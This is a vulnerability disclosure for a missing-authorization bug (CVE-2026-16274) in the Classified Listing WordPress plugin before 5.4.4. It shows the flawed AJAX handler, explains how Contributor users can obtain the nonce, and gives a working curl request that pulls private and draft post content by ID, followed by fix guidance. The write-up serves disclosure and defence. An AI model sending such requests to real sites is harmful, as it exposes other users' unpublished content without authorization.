Summary
Before 5.4.4, Classified Listing registers an AJAX action that returns a post's post_content after a nonce check and nothing else. No capability check. No ownership check.
Per the CVE: a Contributor+ user can read content from any post, page, or custom post type on the site, including drafts, pending, and private posts owned by someone else.
I found this in 5.4.3 while grepping AJAX handlers. Nonce present, current_user_can missing. Classic.
Bug
Hooked action: rtcl_block_css_get_posts
Code path: get_posts_call() in app/Controllers/BlockController.php
public function get_posts_call() {
if ( ! wp_verify_nonce( $_POST['rtcl_nonce'] ?? '', 'rtcl-nonce' ) ) {
wp_send_json_error( ... );
}
$post = $_POST;
if ( isset( $post['postId'] ) ) {
$post = get_post( $post['postId'] );
wp_send_json_success( $post ? $post->post_content : '' );
}
}
get_post( $id ) does not care about status or author. If the row exists, you get the object. The handler then dumps post_content into the success JSON.
A few things that make it usable in practice:
- The
rtcl-nonceis localized for the Gutenberg editor. Contributors can open the editor, so they can take a valid nonce. - There is no post-type allowlist. Listing CPT, normal posts, pages, other CPTs - same endpoint.
Nearby handlers in that class (save_block_css(), appended()) do check manage_options. This one does not.
Impact
Read-only. Someone with a Contributor account can try post IDs and pull unpublished text: other people's drafts, pending listings, private pages, whatever is sitting in the database under that ID. No write from this bug alone.
How I reproduced it
Lab WordPress, own install. As Contributor:
rtcl_block_script.rtcl_nonce
Then against an admin-owned private/draft post:
curl -X POST "https://target/wp-admin/admin-ajax.php" \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "Cookie: wordpress_logged_in_<hash>=<contributor-session>" \
--data "action=rtcl_block_css_get_posts&postId=45&rtcl_nonce=<nonce>"
Response in the lab:
{"success":true,"data":"this is a private post. only the admin can view it"}
Tried a regular WordPress draft ID too. Same story. Bad nonce returns Session Expired!!, so the issue is authorization, not nonce bypass.
Fix
Ship 5.4.4+. Until then, reduce Contributor accounts or block the rtcl_block_css_get_posts action. On the code side the obvious gate is current_user_can( 'read_post', $post_id ) after absint on postId.
Coordinated through WPScan; patched in 5.4.4. Update to the latest release.
References
- WPScan: https://wpscan.com/vulnerability/a43925db-3108-4797-9867-0fa48cfaeab4/
- Wordfence: https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/classified-listing/classified-listing-543-missing-authorization
- Patchstack: https://patchstack.com/database/wordpress/plugin/classified-listing/vulnerability/wordpress-classified-listing-plugin-5-4-4-contributor-unpublished-post-content-disclosure-via-rtcl-block-css-get-posts-vulnerability
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-16274
- CVE: https://www.cve.org/CVERecord?id=CVE-2026-16274
- EUVD: https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-52163
- Github: https://github.com/advisories/GHSA-xw94-m5qr-wj9w
- Plugin: https://wordpress.org/plugins/classified-listing/
// small pieces, big problems. | CVE-2026-16274